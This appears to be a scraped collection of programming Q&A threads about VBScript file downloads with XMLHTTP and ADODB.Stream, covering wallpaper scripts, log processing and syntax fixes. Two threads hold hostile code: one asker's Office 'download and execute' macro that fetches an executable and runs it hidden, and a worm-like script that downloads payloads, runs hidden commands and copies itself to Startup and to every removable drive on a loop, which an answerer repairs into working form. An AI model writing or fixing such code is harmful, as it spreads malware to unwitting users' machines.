I have a code that is supposed to download an image from the Internet and set it as wallpaper, but it keeps saying that there is a wrong number of arguments or invalid property assignment: SaveToFile.
strUser = CreateObject("WScript.Network").UserName
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("ADODB.Stream")
xHttp.Open "GET", "https://image.spreadshirtmedia.com/image-server/v1/compositions/1009468864/views/1,width=300,height=300,version=145225706 1/anonymous-seal-t-shirts-men-s-tall-t-shirt.jpg", False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.Write xHttp.responseBody
.Savetofile "C:\Users\",strUser,"\downloads", 2 '//overwrite
End With
Dim wshShell
Set wshShell = WScript.CreateObject("WScript.Shell")
sUserName = wshShell.ExpandEnvironmentStrings("strUser")
Set oShell = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
sWinDir = oFSO.GetSpecialFolder(0)
sWallPaper = "C:\Users\eskonr\Pictures\Nice-Windows-7.jpg"
' update in registry
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper
' let the system know about the change
oShell.Run "C:\WINDOWS\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
MsgBox "done"
.SaveToFile "C:\Users\",strUser,"\downloads", 2 '//overwrite
You're trying to call .SaveToFile with 4 parameters: "C:\Users\", strUser, "\downloads", and 2, when you apparently want to build a path from the first three elements. Use the concatenation operator for that:
.SaveToFile "C:\Users\" & strUser & "\downloads", 2 '//overwrite
Related
I've searched all over, but couldnt find any answer. I want the savetofile path to be at the desktop, regardless of username. but i get an error. I think it is about the path, that causes the error. Any tips?
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://banos.me/Despacito.mp3", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile ""C:\Users\"" & LoginName & ""\Desktop\"", 2 '//overwrite
end with
In your code you have not specified how you get LoginName.
This code works:
Dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = createobject("Adodb.Stream")
Dim objShell
Dim userPath
Set objShell = Wscript.CreateObject("Wscript.Shell")
userPath = objShell.SpecialFolders("Desktop")
filePath = userPath &"\Despacito.mp3"
xHttp.Open "GET", "http://banos.me/Despacito.mp3", False
xHttp.Send
filePath = userPath &"\Despacito.mp3"
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile filePath, 2
end with
I was trying to make a download and execute macro. I finished the vbs code and it worked fine, I then put it in some subs and tried to run it as a macro. I get the error
Compile error, Syntax Error: objXMLHTTP.send()
It's weird that this only produces an error as a macro.
Here is the full code:
Sub macro()
Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2
Dim xHttp
Dim bStrm
Dim filename
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
strFileURL = "ftp://username:pass#ftpserver.com/putty.exe"
strHDLocation = tempfolder & "/putty.exe"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.Open "GET", strFileURL, False
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
Else
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True
End Sub
Thanks I changed it to this and it works fine:
Sub book()
Set objShell = CreateObject("Wscript.Shell")
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempfolder
Const TemporaryFolder = 2
Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.Write xHttp.responseBody
.SaveTofile tempfolder & "/putty.exe", 2 '//overwrite
End With
objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True
End Sub
I have been given a task of creating a script that takes a log file (date is in the filename), pulls the data and posts it in event manager. I have a script that works as it should I know the script is ugly so please be gentle. I'm looking for 2 things.
some days nothing has happened and no log for the day was created. when this happens my script causes all kinds of slowness in the PC. I need help with a way for the script to not do its task if no new file has been added to the logs folder.
I would like a little help cleaning up the script.
Like i said i'm very new to this and i used scripts found on the web and fit them to do what i needed them to do.
any help would be greatly appricated.
Option Explicit
Const ForReading = 1
Dim strfolder
Dim FSO
Dim FLD
Dim fil
Dim strOldName
Dim strNewName
Dim strFileParts
Dim objShell
Dim objFSO
Dim objFolder
Dim strFileName
Dim objFile
Dim objTextFile
Dim strNextLine
Dim arrServiceList
Dim i
strFolder = "C:\Logs\"
Set objShell = CreateObject ("Wscript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(strFolder)
Set objShell = CreateObject ("Wscript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile ("C:\Logs\logCatchAll.log", ForReading)
For Each strFileName in objFolder.Items
If len(objFSO.GetExtensionName(strFileName)) > 0 Then
Set objFile = objFSO.GetFile(strFolder & strFileName.Name)
If DateDiff("H",objFile.DateLastModified,Now()) > 24 Then
objFSO.DeleteFile(strFolder & strFileName.Name),True
End If
End If
next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set FLD = FSO.GetFolder(strfolder)
For Each fil in FLD.Files
strOldName = fil.Path
If InStr(strOldName, "-") > 0 Then
strFileParts = Split(strOldName, "-")
strNewName = strFileParts(0) & ".log"
FSO.MoveFile strOldName, strNewName
End If
Next
Set FLD = Nothing
Set FSO = Nothing
Do Until objTextFile.AtEndOfStream
strNextLine = objTextFile.Readline
arrServiceList = Split(strNextLine , ",")
For i = 3 to Ubound(arrServiceList)
objshell.LogEvent 4, arrServiceList(i)
Loop
You can block your Dim'd variables
You are reactivating the objShell to many times
You have a for loop at the bottom of your code without a Next statement.
You don't need to iterate through the log file until it reaches AtEndOfStream, just store it in a variable first.
You can use the same objFSO more than once if your not resetting the object.
You need to include error handling so you know where your code breaks.
Revised code.
Option Explicit
'Handle errors manually.
On Error Resume Next
'Set Constants
Const ForReading = 1
'Set Strings
Dim strFolder, strOldName, strNewName, strFileName, strFileParts, strNextLine, TFStrings
strFolder = "C:\Logs\"
'Set Objects
Dim objShell, objFSO, objFolder, objFile, objTextFile
Set objShell = CreateObject ("Wscript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objShell.Namespace(strFolder)
TFStrings = split(objFSO.OpenTextFile("C:\Logs\logCatchAll.log", ForReading).ReadAll, vbcrlf)
'Set Other Variables
Dim FLD, fil, arrServiceList, i, executed
executed = false
'Delete file procedure...
For Each strFileName in objFolder.Items
If len(objFSO.GetExtensionName(strFileName)) > 0 Then
Set objFile = objFSO.GetFile(strFolder & strFileName.Name)
If DateDiff("H",objFile.DateLastModified,Now()) > 24 Then
objFSO.DeleteFile(strFolder & strFileName.Name),True
executed = true
End If
End If
Next
If executed then
If err.number <> 0 then
'File was found, but delete was unsuccessful, log failure of delete.
executed = false
err.clear
Else
'Delete file procedure executed successfully. Lets move on.
executed = false
End If
Else
'No file was found within the conditions. log failure of search.
End if
'Move file and rename procedure...
Set FLD = objFSO.GetFolder(strfolder)
For Each fil in FLD.Files
strOldName = fil.Path
If InStr(strOldName, "-") > 0 Then
strFileParts = Split(strOldName, "-")
strNewName = strFileParts(0) & ".log"
objFSO.MoveFile strOldName, strNewName
executed = true
End If
Next
Set FLD = Nothing
Set FSO = Nothing
If executed then
If err.number <> 0 then
'File was found, but move was unsuccessful, log failure of move.
executed = false
err.clear
Else
'Move file procedure executed successfully. Lets move on.
executed = false
End If
Else
'No file was found within the conditions. log failure of search.
End if
For Each line in TFStrings
strNextLine = line
arrServiceList = Split(strNextLine , ",")
For i = 3 to Ubound(arrServiceList)
objshell.LogEvent 4, arrServiceList(i)
Next
Next
i'm learning vbs. and i've found this code in internet. Tried to run it but it won't start. replaced some personal data with adresssss fileeee and commandddd
On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")
Path = WshShell.SpecialFolders("Startup")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeeee", 2 '//overwrite
End with
dim xHttpa: Set xHttpa = createobject("Microsoft.XMLHTTP")
dim bStrma: Set bStrma = createobject("Adodb.Stream")
xHttpa.Open "GET", "adressss", False
xHttpa.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeee", 2 '//overwrite
End with
Dim objWshae
Set objWshae = CreateObject( "WScript.Shell" )
objWshae.Run "commandddd" , 0 , 0
Set(objWshae)=Nothing
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "command" , 0 , 0
Set(objWsh)=Nothing
Dim objWsha
Set objWsha = CreateObject( "WScript.Shell" )
objWsha.Run "command" , 0 , 0
Set(objWsha)=Nothing
Start()
Function Start()
X = fs.CopyFile("NX21.vbs", Path & "\", True)
Set dc = fs.Drives
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
End
If
Next
Else
End
If
WScript.Sleep 300000
Start()
End Function
and this code won't run?! it gives error "End expected"
Control statements have to be properly nested. So even if you add the missing conditional,
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End
If whatever Then
Next
is illegal. If you'd use proper indentation, atrocities like the above would be obvious.
On second reading: Perhaps you meant:
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End If ' <-- on one line please!
Next
In general: The "End X" phrases must be on one line.
It seems you don't understand what you are doing. Try to get some basic understanding of VBScript. Do not use On error resume next because that will hide errors from you. Try to understand conditional statements, reuse objects like the Wscript.Shell, AdoDB stream and XHTTP object, set objects to Nothing the correct way, assign variables correctly, use function calls properly. Use Option Explicit.
This is how your script should look like (without testing it, just syntactical):
Option Explicit
Dim WshShell, Path, xHttp, bStrm
Set WshShell = CreateObject("WScript.Shell")
Path = WshShell.SpecialFolders("Startup")
Set xHttp = createobject("Microsoft.XMLHTTP")
Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeeee", 2 '//overwrite
xHttp.Open "GET", "adressss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeee", 2 '//overwrite
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "commandddd", 0, 0
objWsh.Run "command", 0, 0
objWsh.Run "command", 0, 0
Call Start()
Function Start()
Dim dc, fs, d, s
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CopyFile "NX21.vbs", Path & "\", True
Set dc = fs.Drives
For Each d in dc
If d.DriveType = 1 Then
s = d.DriveLetter
fs.CopyFile "NX21.vbs", s & ":\", True
Else
' The drivetype was not of a removable type
End If
Next
WScript.Sleep 300000
Call Start() ' <-- Ah, how appropriate, a risk on a Stack Overflow
End Function
Note on the last comment:
You are calling the Start() function from inside the Start() function, creating a non exitable recursive loop. After a few hundreds of thousands iterations you will get a Stack overflow error. Luckily you wait 300 seconds for each iteration so it will take several years to get to that.
Better to put the first call of the Start function (outside the function itself) in a do / loop construct:
Do
Call Start()
WScript.Sleep 300000
Loop
my boss requests me to download the jpg file from the http and change it to the wallpaper periodically, here is my code
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://defsite.com/wallpaper/wallpaper.jpg", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "C:\Documents and Settings\Administrator\My Documents\My Pictures\Wallpaper\wallpaper.jpg", 2 '//overwrite
end with
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "c:\windows\system32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
however, the WshShell.Run can't update on the screen, the OS is XP. Is there any idea to do it?
Kindly Advice!